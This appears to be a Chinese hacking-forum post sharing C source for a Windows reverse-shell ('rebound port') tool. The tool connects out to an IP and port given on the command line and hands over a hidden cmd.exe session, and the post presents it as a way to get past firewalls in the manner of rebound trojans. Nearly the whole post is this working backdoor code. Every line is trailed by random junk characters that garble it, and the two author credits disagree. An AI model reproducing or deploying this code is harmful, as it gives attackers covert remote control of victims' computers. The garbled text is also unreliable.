这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -hcS]~F
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/* ============================== "@@I!RwA
Rebound port in Windows NT [97:4.
By wind,2006/7 +[@z(N-h
===============================*/ j| Wv7
#include 5S
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#include f|A
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#pragma comment(lib,"wsock32.lib") v`J*ixZ7t
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void OutputShell(); {u{@jp
SOCKET sClient; @}_WE,r
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |@?%Ct
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void main(int argc,char **argv) :a8 YV!X
{
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WSADATA stWsaData; t-
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int nRet; 'C$XS>S
SOCKADDR_IN stSaiClient,stSaiServer; #1c]PX
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if(argc != 3) @Q&3L~K"
{ .M,RFC
printf("Useage:\n\rRebound DestIP DestPort\n"); ~"pKe~h
return; kh~'Cn "O
} Dih6mTP{
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WSAStartup(MAKEWORD(2,2),&stWsaData); j.~!dh$mg
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G CRz<)1
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stSaiClient.sin_family = AF_INET; `.x$7!zLC
stSaiClient.sin_port = htons(0); 1"8yLvtn
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :(dHY
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) waX>0e
{ gK#mPcn^
printf("Bind Socket Failed!\n"); EcIE~qs
return; ELrsx{p:
} rn DCqv!'P
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stSaiServer.sin_family = AF_INET; =U[3PC-N@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Er/bO
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T +5X0 Nv
{ `k(yZtb
printf("Connect Error!"); ZnFi<@UB)
return; }nt*
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} wIkN9
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OutputShell(); &1%q"\VI
} zX5!vaEv
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void OutputShell() 0![
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{ ,1'4o3
char szBuff[1024]; pZ`|iLNl-
SECURITY_ATTRIBUTES stSecurityAttributes; =_j vk.
OSVERSIONINFO stOsversionInfo; FYs)MO
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Vz14j_
STARTUPINFO stStartupInfo; %1pYEHn
char *szShell; [{4MR%--
PROCESS_INFORMATION stProcessInformation; T0)4v-EO
unsigned long lBytesRead; U$oduY#
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z\[N!Zt|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Li*eGlId
stSecurityAttributes.lpSecurityDescriptor = 0; R1&unm0
stSecurityAttributes.bInheritHandle = TRUE; f= >OJ!:
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'mI'dG
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (E,T#uc{
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); sLE#q+W
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2r$#m*
stStartupInfo.wShowWindow = SW_HIDE; IwGqf.!.>
stStartupInfo.hStdInput = hReadPipe; rt
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H>r!i4l
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GetVersionEx(&stOsversionInfo); TW !&p"Us+
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switch(stOsversionInfo.dwPlatformId) %;#^l+UB
{ cj11S>D
case 1: MX@IHc
szShell = "command.com"; >#ZUfm{k$
break; ^
9!!;)
default: h|X^dQb]
szShell = "cmd.exe"; $ d?.2Kg
break; VDTcR
} KfF!{g f
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Uye|9/w8 !
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send(sClient,szMsg,77,0); Bc3:}+l
while(1) 9Fn\FYUq
{ !8`3GX:B_
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (a9d/3M
if(lBytesRead) IK*07h/!
{ bLt.O(T}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); boG_f@dv(
send(sClient,szBuff,lBytesRead,0); 1+?N#Fh
} "RIZV
else fNGZ o
{ `6+"Z=:
lBytesRead=recv(sClient,szBuff,1024,0); #c^^=Z
if(lBytesRead<=0) break; .s$z/Jv
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D7_*k%;@
} VK@!lJu!
} CdL< *AH
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return; |Ph3#^rM?
}